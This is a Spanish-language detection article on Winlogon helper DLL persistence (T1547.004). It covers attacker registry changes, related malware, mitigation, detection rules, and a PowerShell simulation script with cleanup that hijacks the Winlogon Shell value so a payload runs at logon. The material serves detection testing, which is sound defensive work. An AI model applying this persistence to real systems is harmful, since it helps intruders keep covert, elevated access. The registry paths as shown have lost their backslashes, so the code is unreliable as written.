T1547.004 en MITRE ATT&CK: Ayudante de Winlogon Explicado
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumen
El artículo explica el método de persistencia del DLL auxiliar de Winlogon, rastreado como T1547.004, y muestra cómo los adversarios manipulan las claves de registro de Winlogon para cargar código malicioso durante el inicio de sesión del usuario. Se hace referencia a ejemplos del mundo real vinculados a la campaña ToyBraker, al malware KamiKakaBot, y a una muestra conocida como Mandela.exe. El énfasis está en los cambios del registro que desencadenan la ejecución automática de DLLs o ejecutables maliciosos al iniciar el sistema o cuando un usuario inicia sesión.
Investigación
Los investigadores documentaron atacantes creando cuentas de usuario no autorizadas y alterando valores de registro de Winlogon como LegalNoticeText, DefaultUserName, AutoLogonCount y Shell para preservar el acceso. Las muestras de malware y los casos de intrusión también mostraron el uso de herramientas de línea de comandos como net user y reg add para inyectar configuraciones maliciosas y lanzar cargas útiles de PowerShell durante el proceso de inicio de sesión.
Mitigación
Los defensores deben monitorear de cerca y restringir las modificaciones a las claves de registro de Winlogon, aplicar controles de privilegios mínimos para la creación de cuentas y usar control de aplicaciones para bloquear DLLs no confiables o no firmadas. Revisiones regulares de tareas programadas, servicios y ubicaciones de inicio pueden ayudar aún más a identificar cambios de persistencia no autorizados.
Respuesta
Cuando se descubre actividad sospechosa en el registro de Winlogon, aísle el endpoint afectado, capture evidencia volátil y restaure los valores del registro modificados a un estado conocido y bueno. Una investigación forense debe luego buscar mecanismos de persistencia adicionales y escanear el host en busca de componentes de malware relacionados.
"graph TB %% Class Definitions Section classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef technique fill:#ffd699 classDef malware fill:#f4a6a6 %% Node definitions action_create_account["<b>Acción</b> – Crear Cuenta Local<br/><b>Técnica</b>: T1136.001 Crear Cuenta: Cuenta Local<br/><b>Descripción</b>: Agrega un nuevo usuario local usando el comando net user."] class action_create_account action tool_net_user["<b>Herramienta</b> – comando net user<br/><b>Propósito</b>: Crear o modificar cuentas locales de Windows."] class tool_net_user tool action_modify_registry["<b>Acción</b> – Modificar Registro de Winlogon<br/><b>Técnica</b>: T1112 Modificar Registro<br/><b>Descripción</b>: Altera las claves de Winlogon (Notify, Userinit, Shell, DefaultUserName, AutoLogonCount) vía reg add."] class action_modify_registry action tool_reg_add["<b>Herramienta</b> – comando reg add<br/><b>Propósito</b>: Agregar o cambiar valores del registro de Windows."] class tool_reg_add tool persistence_winlogon_helper["<b>Persistencia</b> – DLL Auxiliar de Winlogon<br/><b>Técnica</b>: T1547.004 DLL Auxiliar de Winlogon<br/><b>Descripción</b>: Carga un DLL malicioso o ejecutable durante el inicio de sesión del usuario, proporcionando ejecución elevada."] class persistence_winlogon_helper persistence technique_T1547_004["<b>Técnica</b> – T1547.004<br/><b>Nombre</b>: DLL Auxiliar de Winlogon<br/><b>Descripción</b>: Registra un DLL para ser cargado por Winlogon, otorgando persistencia y escalada de privilegios."] class technique_T1547_004 technique malware_kamkaka["<b>Malware</b> – KamiKakaBot<br/><b>Usos</b>: Persistencia del DLL Auxiliar de Winlogon."] class malware_kamkaka malware malware_mandela["<b>Malware</b> – Mandela.exe<br/><b>Usos</b>: Persistencia del DLL Auxiliar de Winlogon."] class malware_mandela malware %% Connections showing flow action_create_account –>|utiliza| tool_net_user action_modify_registry –>|utiliza| tool_reg_add action_create_account –>|habilita| persistence_winlogon_helper action_modify_registry –>|habilita| persistence_winlogon_helper persistence_winlogon_helper –>|implementa| technique_T1547_004 technique_T1547_004 –>|observado_en| malware_kamkaka technique_T1547_004 –>|observado_en| malware_mandela "
Flujo de Ataque
Detecciones
Puntos de Persistencia Posible [ASEPs – Colmenas Winlogon/AppInit] (vía registry_event)
Ver
Puntos de Persistencia Posible [ASEPs – Colmena Software/NTUSER] (vía cmdline)
Ver
La Posibilidad de Ejecución a Través de Líneas de Comando de PowerShell Ocultas (vía cmdline)
Ver
Puntos de Persistencia Posible [ASEPs – Colmena Software/NTUSER] (vía registry_event)
Ver
IOCs (Emails) para detectar: T1547.004 Winlogon Helper en MITRE ATT&CK Explicado
Ver
IOCs (HashSha256) para detectar: T1547.004 Winlogon Helper en MITRE ATT&CK Explicado
Ver
Detección de Modificaciones Maliciosas en Claves de Registro de Winlogon [Evento de Registro de Windows]
Ver
Ejecución de Simulación
Prerrequisito: El Chequeo Previo de Telemetría y Línea Base debe haber pasado.
Razonamiento: Esta sección detalla la ejecución precisa de la técnica de adversario (T1547.004) diseñada para activar la regla de detección. Los comandos y la narrativa producen directamente la telemetría esperada por la lógica de detección.
-
Narrativa de Ataque y Comandos:
Un atacante que ha obtenido derechos de administrador local quiere persistencia a través de reinicios. Elige el clásico secuestro de “Shell” de Winlogon porque se ejecuta antes de que se cargue el escritorio del usuario y evade muchos productos AV de endpoint. Los pasos son:- Cree una carga maliciosa (por ejemplo,
C:Tempevil.exe). - Agregue un nuevo valor a
HKLMSoftwareMicrosoftWindows NTCurrentVersionWinlogonShellapuntando a la carga útil. - Verifique que el cambio tuvo efecto, luego cierre la sesión/inicie para lograr la ejecución.
- Cree una carga maliciosa (por ejemplo,
-
Script de Prueba de Regresión:
#------------------------------------------------- # Prueba de Regresión – Secuestro de Shell Winlogon (T1547.004) #------------------------------------------------- param( [string]$PayloadPath = "C:Tempevil.exe", [string]$BackupPath = "$env:Tempwinlogon_shell_backup.txt" ) # 1. Despliegue una carga útil ficticia (una copia simple de calc.exe como demostración) if (-not (Test-Path $PayloadPath)) { Copy-Item "$env:SystemRootSystem32calc.exe" $PayloadPath -Force } # 2. Haga una copia de seguridad del valor actual de Shell (si lo hay) $regPath = "HKLM:SoftwareMicrosoftWindows NTCurrentVersionWinlogon" $currentShell = (Get-ItemProperty -Path $regPath -Name Shell -ErrorAction SilentlyContinue).Shell Set-Content -Path $BackupPath -Value $currentShell -Encoding UTF8 # 3. Establezca el valor malicioso de Shell Set-ItemProperty -Path $regPath -Name Shell -Value $PayloadPath -Force Write-Host "[+] Shell de Winlogon malicioso establecido en $PayloadPath" Write-Host "[+] Valor original guardado en $BackupPath" -
Comandos de Limpieza:
#--------------------------------- # Limpieza – Restaurar Shell de Winlogon #--------------------------------- $regPath = "HKLM:SoftwareMicrosoftWindows NTCurrentVersionWinlogon" $backupFile = "$env:Tempwinlogon_shell_backup.txt" if (Test-Path $backupFile) { $original = Get-Content -Path $backupFile -Raw if ([string]::IsNullOrWhiteSpace($original)) { # El valor original estaba vacío – eliminar la propiedad Remove-ItemProperty -Path $regPath -Name Shell -ErrorAction SilentlyContinue } else { Set-ItemProperty -Path $regPath -Name Shell -Value $original -Force } Remove-Item $backupFile -Force Write-Host "[+] Shell de Winlogon restaurado al estado original." } else { Write-Warning "Archivo de copia de seguridad no encontrado – se requiere inspección manual." }